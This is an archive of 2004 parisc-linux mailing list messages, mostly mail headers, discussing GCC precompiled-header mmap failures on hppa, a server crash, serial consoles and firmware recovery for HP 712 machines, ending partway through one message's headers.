X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21824

> On Thu, Jul 15, 2004 at 05:34:02PM -0400, John David Anglin wrote:
> > > That's an unwarranted assumption.  If they want that, they need to
> > > specify MAP_FIXED.
> > 
> > The problem with MAP_FIXED is that it replaces any previous mappings.
> > I believe that the code in question doesn't want to do that.  It
> > simply wants to fallback to not using PCH if the suggested value
> > for START doesn't work out.
> 
> Oh, that's easy enough.  mmap() returns the address it got mapped at,
> so just compare it to the address you asked for and decline to use PCH
> in that case.

Well, that's exactly what it does.  However, it doesn't work.  The
start address is selected as follows:

/* Default version of HOST_HOOKS_GT_PCH_GET_ADDRESS when mmap is present.
   We temporarily allocate SIZE bytes, and let the kernel place the data
   wherever it will.  If it worked, that's our spot, if not we're likely
   to be in trouble.  */

However, when GCC tries to remap the PCH file to this location, it
sometimes fails.  This is currently a fatal error (i.e., it does not
fallback as described above).  This needs looking at.  Almost all
the libstdc++ tests failed in the last build that I did.  I think if
it successfully loads the PCH file and finds that it's not valid,
it does fallback.

>>From what you and Randolph have said, PCH in its current incarnation
isn't going to work on hppa.  If it works, I belive that it provides
a significant performance enhancement in compiling c++ code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] www.parisc-linux.org crashed
Date: 16 Jul 2004 08:59:48 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1089986393.2098.20.camel@mulgrave>
References: <20040716031951.GB27175@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623505 10258 80.91.229.3 (22 Nov 2014 02:31:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:45 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31834 invoked by uid 65534); 16 Jul 2004 14:00:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx029) with SMTP; 16 Jul 2004 16:00:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 04E933BDCB; Fri, 16 Jul 2004 08:00:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03734-10; Fri, 16 Jul 2004 08:00:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 551923BDCE; Fri, 16 Jul 2004 08:00:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2AC9C3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 07:59:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04820-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 07:59:56 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id A301C3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 07:59:55 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i6GDxrr26596; Fri, 16 Jul 2004 09:59:53 -0400
In-Reply-To: <20040716031951.GB27175@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21825

On Thu, 2004-07-15 at 22:19, Grant Grundler wrote:
> Hi,
> www.parisc-linux.org crashed earlier today running a 2.4.25 kernel.
> I happened to be around and recovered the console.
> Appended below in case someone wanted to poke at it a bit or can
> tell me this is a known problem.

It looks like a usual ext3 panic precipitated by a disc I/O error.  What
were the SCSI logs before this?

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mmap and GCC precompiled headers
Date: Fri, 16 Jul 2004 12:44:35 -0400 (EDT)
Lines: 69
Approved: news@gmane.org
Message-ID: <200407161644.i6GGiao5022969@hiauly1.hia.nrc.ca>
References: <20040716062213.GJ546@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623506 10262 80.91.229.3 (22 Nov 2014 02:31:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17639 invoked by uid 65534); 16 Jul 2004 16:45:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 16 Jul 2004 18:45:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6C8F23BDEE; Fri, 16 Jul 2004 10:45:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06888-07; Fri, 16 Jul 2004 10:45:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D1BA03BDD6; Fri, 16 Jul 2004 10:44:43 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4F653BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 10:44:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06860-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 10:44:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 74BE83BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 10:44:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i6GGiaCp022971; Fri, 16 Jul 2004 12:44:37 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i6GGiao5022969;
	Fri, 16 Jul 2004 12:44:36 -0400 (EDT)
In-Reply-To: <20040716062213.GJ546@tausq.org> from "Randolph Chung" at Jul 15,
	2004 11:22:13 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21826

> > However, when GCC tries to remap the PCH file to this location, it
> > sometimes fails.  This is currently a fatal error (i.e., it does not
> > fallback as described above).  This needs looking at.  Almost all
> > the libstdc++ tests failed in the last build that I did.  I think if
> > it successfully loads the PCH file and finds that it's not valid,
> > it does fallback.
> 
> do you mean that, when the pch file is created, it was mmaped to some
> address, and that address is written to the file. when the pch file is
> read later on for another compile, it tries to mmap it to the same
> location, and if it cannot, then it fails?

Yes.  I believe that it has to map it to the same address as when
it was created because the file contains pointers to addresses in
the PCH data that otherwise need adjustment.

The initial address is one selected by the kernel in a call to mmap
with START=0.  This is used to generate the PCH file.  Then, when
the program tries to read the pch file using the START address
returned by the kernel when the PCH file was built, the kernel
sometimes doesn't honor this start address.

I'm thinking that the current code should use or fallback to
trying MAP_FIXED when it tries to read the PCH file as it
currently fails with a fatal error if the region doesn't map
successfully.  If it's possible for there to be pages mapped
in the region needed for the PCH data, then the mmap call to
map the PCH file just isn't going to be reliable.  I doubt
that's actually happening.

What I think is happening is that the kernel doesn't try very
hard to honor START without MAP_FIXED.  There may be some subtle
issues dependent on the size of the file.  There is a configure
test in libstdc++ which attempts to see whether to enable
generating a PCH header file for libstdc++.  This started in
GCC 3.4.  The configure test always passes on both linux and
hpux.  However, I recently had on v3 testsuite run in which
all the tests failed because the libstcd++ PCH file couldn't
be read back.

As I noted previously, the downside to using MAP_FIXED is any
previous mapping get replaced.  Replacing a previous mapping
could lead to all kinds of wierd problems.  GCC makes rather
extensive use of mmap, so I can understand why the code tries
to avoid using MAP_FIXED.  It would be a significant overhead
to keep track of all mmapped regions.

> there's obviously a performance penalty, but is this an option (not very
> sure it will work, but i think it might)?
> 
> 1. mmap the file to addr1, where addr1 is any address returned by the
>    kernel
> 2. do a MAP_PRIVATE anonymous mmap to the desired location addr2 (this 
>    is more likely to be honoured by the kernel....)

It already uses MAP_PRIVATE.  Are anonymous mmaps more likely to
honor the START parameter?  If so, then we could use mmap to allocate
the region and just read the data into the region.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3000 boot problem
Date: Fri, 16 Jul 2004 16:06:27 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20040716220627.GA14404@colo.lackof.org>
References: <20040716201438.7022ce8f.arnau.bria@analisisysimulacion.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623506 10264 80.91.229.3 (22 Nov 2014 02:31:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arnau Bria Ramirez <arnau.bria@analisisysimulacion.com>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17849 invoked by uid 65534); 16 Jul 2004 22:07:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 17 Jul 2004 00:07:34 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E2DC33BC41; Fri, 16 Jul 2004 16:07:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09747-05; Fri, 16 Jul 2004 16:07:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5B0E93BDDB; Fri, 16 Jul 2004 16:06:35 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA85C3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 16:06:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08854-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 16:06:30 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8E7683BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 16:06:30 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id DB36229810F; Fri, 16 Jul 2004 16:06:29 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14103-07; Fri, 16 Jul 2004 16:06:27 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 84FF0298059; Fri, 16 Jul 2004 16:06:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040716201438.7022ce8f.arnau.bria@analisisysimulacion.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21827

On Fri, Jul 16, 2004 at 08:14:38PM +0200, Arnau Bria Ramirez wrote:
> >Normally yes. See "Bug Reporting" link off of www.parisc-linux.org:
> >	http://www.parisc-linux.org/faq/kernelbug-howto.html
> 
> Ok, but as I have to copy it by hand I ask before ....

ah...you might try with serial console.
It avoids many of the problems we've had with the IO subsystem.
Just disconnect the keyboard/mouse and connect a serial cable.
Another box will be needed to capture the serial console output
in case there are other problems.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60, 712/80, serial console, firmware update,
	"dagger cards"
Date: Fri, 16 Jul 2004 16:11:06 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <20040716221106.GB14404@colo.lackof.org>
References: <Pine.LNX.4.60.0407161743420.32264@kani.popovich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623506 10266 80.91.229.3 (22 Nov 2014 02:31:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Peter E. Popovich" <peter@popovich.net>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31268 invoked by uid 65534); 16 Jul 2004 22:11:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 17 Jul 2004 00:11:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 783953BDDB; Fri, 16 Jul 2004 16:11:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09864-10; Fri, 16 Jul 2004 16:11:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8E9283BDEE; Fri, 16 Jul 2004 16:11:14 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C96C13BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 16:11:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09747-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 16:11:08 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 227FE3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 16:11:08 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6AC89298113; Fri, 16 Jul 2004 16:11:07 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14235-05; Fri, 16 Jul 2004 16:11:06 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9308529810F; Fri, 16 Jul 2004 16:11:06 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.60.0407161743420.32264@kani.popovich.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21828

On Fri, Jul 16, 2004 at 05:55:45PM -0400, Peter E. Popovich wrote:
> so, i got a 712/60, and got debian installed, and it all seemed to work 
> fine.
> 
> then i tried to use the serial console hack described at:
> http://www.pateam.org/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/consoles.html
> 
> something went wrong, because now, the system doesn't boot.  it appears to 
> be dumping 0xNNNN diagnostic codes out the serial port.
> 
> "no worries", i say.  "they're cheap.  I'll just buy another..."

You can resurrect the 712's using a dagger card.
Not easy to find one though...

> so, i got a 712/80, but it's running version 1.6 of the firmware. 
> there's a version 2.3 patch, but its instructions tell you to write the 
> patch to tape and boot from the tape.  (boot from tape ?!?)
> http://ftp.parisc-linux.org/kernels/712/PF_C7120023.txt

The lifimage can be booted via the network or hard disk as well.
Just setup a bootp/dhcp server to boot the lifimage.
Or dd the lifimage to the HD and boot from the HD.

> so, i've got some questions.  neither have anything todo with linux, but 
> i'm not sure where else to turn for help with hppa...
> 
> first: reading the history of this list, apparently, i can fix the 712/60 
> with a "dagger card".  for the life of me, i've got no clue what that is, 
> or how i could acquire one.

Yes. It's a special card that can be installed in the 712
and can read/write the main firmware.

> second: is there a way to update the firmware in a 712/80 without a tape 
> drive?  is there a way to update the firmware in a 712/80 without either a 
> tape or floppy drive?  (if i need to slap a floppy drive in, will a 
> standard PC floppy drive work?)
> 
> third: will debian run stably on a 712/80 with firmware version 1.6?

probably. But you'd have to read the 2.3 firmware errata to know
what bugs are fixed.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60, 712/80, serial console, firmware update,
	"dagger cards"
Date: Sat, 17 Jul 2004 01:04:07 +0200
Organization: ESIEE
Lines: 35
Approved: news@gmane.org
Message-ID: <20040717010407.25b64a24@Tatooine.r3z0>
References: <Pine.LNX.4.60.0407161743420.32264@kani.popovich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623507 10271 80.91.229.3 (22 Nov 2014 02:31:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Peter E. Popovich" <peter@popovich.net>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21110 invoked by uid 65534); 16 Jul 2004 23:04:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 17 Jul 2004 01:04:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AA3563BCA9; Fri, 16 Jul 2004 17:04:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10008-07; Fri, 16 Jul 2004 17:04:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 658D33BDDB; Fri, 16 Jul 2004 17:04:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7697B3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 17:04:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09967-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 17:04:24 -0600 (MDT)
Original-Received: from mx.noos.fr (pm-mx1.mgn.net [195.46.220.222])
	by free.linux.hp.com (Postfix) with ESMTP id 0E68C3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 17:04:24 -0600 (MDT)
Original-Received: from noos.fr (pm-mnet1 [195.46.220.220])
	by mx.noos.fr (Postfix) with SMTP
	id 2B57C27DCB; Sat, 17 Jul 2004 01:04:17 +0200 (MEST)
